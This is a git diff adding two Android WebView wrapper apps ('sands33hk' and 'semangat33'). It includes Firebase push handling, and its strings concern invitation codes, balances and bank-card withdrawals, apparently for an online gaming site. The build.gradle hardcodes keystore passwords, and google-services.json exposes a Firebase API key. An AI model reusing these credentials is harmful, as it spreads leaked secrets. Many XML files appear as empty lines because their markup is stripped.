super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/sands33hk/src/main/res/drawable-anydpi/ic_action_back.xml b/sands33hk/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/sands33hk/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/sands33hk/src/main/res/drawable-hdpi/ic_action_back.png b/sands33hk/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/sands33hk/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/sands33hk/src/main/res/drawable-mdpi/ic_action_back.png b/sands33hk/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/sands33hk/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/sands33hk/src/main/res/drawable-v24/ic_launcher_foreground.xml b/sands33hk/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/sands33hk/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/sands33hk/src/main/res/drawable-xhdpi/ic_action_back.png b/sands33hk/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/sands33hk/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/sands33hk/src/main/res/drawable-xxhdpi/ic_action_back.png b/sands33hk/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/sands33hk/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/sands33hk/src/main/res/drawable/big_bg.xml b/sands33hk/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..e30d6b8 --- /dev/null +++ b/sands33hk/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/sands33hk/src/main/res/drawable/ic_launcher_background.xml b/sands33hk/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/sands33hk/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/sands33hk/src/main/res/drawable/input_bg.xml b/sands33hk/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/sands33hk/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/sands33hk/src/main/res/drawable/pass_word_bg.xml b/sands33hk/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/sands33hk/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/sands33hk/src/main/res/drawable/pass_word_bg1.xml b/sands33hk/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/sands33hk/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/sands33hk/src/main/res/drawable/pass_word_bg2.xml b/sands33hk/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/sands33hk/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/sands33hk/src/main/res/drawable/shape_btn_bg.xml b/sands33hk/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/sands33hk/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/sands33hk/src/main/res/drawable/shape_dialog_bg2.xml b/sands33hk/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/sands33hk/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/sands33hk/src/main/res/drawable/shape_dialog_bg3.xml b/sands33hk/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/sands33hk/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/sands33hk/src/main/res/drawable/shape_dialog_bg_new.xml b/sands33hk/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/sands33hk/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/sands33hk/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/sands33hk/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/sands33hk/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/sands33hk/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/sands33hk/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/sands33hk/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/sands33hk/src/main/res/mipmap-hdpi/ic_empty.png b/sands33hk/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/sands33hk/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/sands33hk/src/main/res/mipmap-hdpi/ic_pull_down.png b/sands33hk/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/sands33hk/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/sands33hk/src/main/res/mipmap-xhdpi/ic_close.png b/sands33hk/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/sands33hk/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/sands33hk/src/main/res/mipmap-xhdpi/ic_menu.png b/sands33hk/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/sands33hk/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/sands33hk/src/main/res/mipmap-xxhdpi/app_logo.png b/sands33hk/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..e2aee96 Binary files /dev/null and b/sands33hk/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/sands33hk/src/main/res/mipmap-xxhdpi/logo.png b/sands33hk/src/main/res/mipmap-xxhdpi/logo.png new file mode 100644 index 0000000..a597f94 Binary files /dev/null and b/sands33hk/src/main/res/mipmap-xxhdpi/logo.png differ diff --git a/sands33hk/src/main/res/values-en/strings.xml b/sands33hk/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/sands33hk/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/sands33hk/src/main/res/values-night/themes.xml b/sands33hk/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/sands33hk/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/sands33hk/src/main/res/values/colors.xml b/sands33hk/src/main/res/values/colors.xml new file mode 100644 index 0000000..5250a36 --- /dev/null +++ b/sands33hk/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #876f41 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/sands33hk/src/main/res/values/strings.xml b/sands33hk/src/main/res/values/strings.xml new file mode 100644 index 0000000..515edc0 --- /dev/null +++ b/sands33hk/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + SANDS33HK + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/sands33hk/src/main/res/values/themes.xml b/sands33hk/src/main/res/values/themes.xml new file mode 100644 index 0000000..cde6291 --- /dev/null +++ b/sands33hk/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/sands33hk/src/main/res/xml/app_updater_paths.xml b/sands33hk/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/sands33hk/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/sands33hk/src/main/res/xml/network_security_config.xml b/sands33hk/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/sands33hk/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/sands33hk/src/main/res/xml/provider_paths.xml b/sands33hk/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/sands33hk/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/sands33hk/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/sands33hk/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/sands33hk/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/semangat33/.gitignore b/semangat33/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/semangat33/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/semangat33/build.gradle b/semangat33/build.gradle new file mode 100644 index 0000000..316b939 --- /dev/null +++ b/semangat33/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.semangat33" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "semangat33" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/semangat33/dskjweb.jks b/semangat33/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/semangat33/dskjweb.jks differ diff --git a/semangat33/google-services.json b/semangat33/google-services.json new file mode 100644 index 0000000..7573339 --- /dev/null +++ b/semangat33/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "189140100983", + "project_id": "semangat33-85929", + "storage_bucket": "semangat33-85929.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:189140100983:android:6e3157d98057e985de6372", + "android_client_info": { + "package_name": "com.web.semangat33" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyD9XQlNdwwWQmkFapIHCAF6d4in99HX1p4" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/semangat33/ppn.jks b/semangat33/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/semangat33/ppn.jks differ diff --git a/semangat33/proguard-rules.pro b/semangat33/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/semangat33/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/semangat33/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/semangat33/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/semangat33/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/semangat33/src/main/AndroidManifest.xml b/semangat33/src/main/AndroidManifest.xml new file mode 100644 index 0000000..751d388 --- /dev/null +++ b/semangat33/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/semangat33/src/main/java/com/web/semangat33/MainActivity.java b/semangat33/src/main/java/com/web/semangat33/MainActivity.java new file mode 100644 index 0000000..759bcdc --- /dev/null +++ b/semangat33/src/main/java/com/web/semangat33/MainActivity.java @@ -0,0 +1,49 @@ +package com.web.semangat33; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 172; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://semangat33.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#183c7a"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#ffc135"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",0); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/semangat33/src/main/java/com/web/semangat33/MyFirebaseMessageingService.java b/semangat33/src/main/java/com/web/semangat33/MyFirebaseMessageingService.java new file mode 100644 index 0000000..5f99d58 --- /dev/null +++ b/semangat33/src/main/java/com/web/semangat33/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.semangat33; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/semangat33/src/main/java/com/web/semangat33/WebApplication.java b/semangat33/src/main/java/com/web/semangat33/WebApplication.java new file mode 100644 index 0000000..df48639 --- /dev/null +++ b/semangat33/src/main/java/com/web/semangat33/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.semangat33; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/semangat33/src/main/res/drawable-anydpi/ic_action_back.xml b/semangat33/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/semangat33/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/semangat33/src/main/res/drawable-hdpi/ic_action_back.png b/semangat33/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/semangat33/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/semangat33/src/main/res/drawable-mdpi/ic_action_back.png b/semangat33/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/semangat33/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/semangat33/src/main/res/drawable-v24/ic_launcher_foreground.xml b/semangat33/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/semangat33/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/semangat33/src/main/res/drawable-xhdpi/ic_action_back.png b/semangat33/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/semangat33/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/semangat33/src/main/res/drawable-xxhdpi/ic_action_back.png b/semangat33/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/semangat33/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/semangat33/src/main/res/drawable/big_bg.xml b/semangat33/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..be2abdd --- /dev/null +++ b/semangat33/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/semangat33/src/main/res/drawable/ic_launcher_background.xml b/semangat33/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/semangat33/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/semangat33/src/main/res/drawable/input_bg.xml b/semangat33/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/semangat33/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/semangat33/src/main/res/drawable/pass_word_bg.xml b/semangat33/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/semangat33/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/semangat33/src/main/res/drawable/pass_word_bg1.xml b/semangat33/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/semangat33/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/semangat33/src/main/res/drawable/pass_word_bg2.xml b/semangat33/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/semangat33/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/semangat33/src/main/res/drawable/shape_btn_bg.xml b/semangat33/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/semangat33/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/semangat33/src/main/res/drawable/shape_dialog_bg2.xml b/semangat33/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/semangat33/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/semangat33/src/main/res/drawable/shape_dialog_bg3.xml b/semangat33/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/semangat33/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + 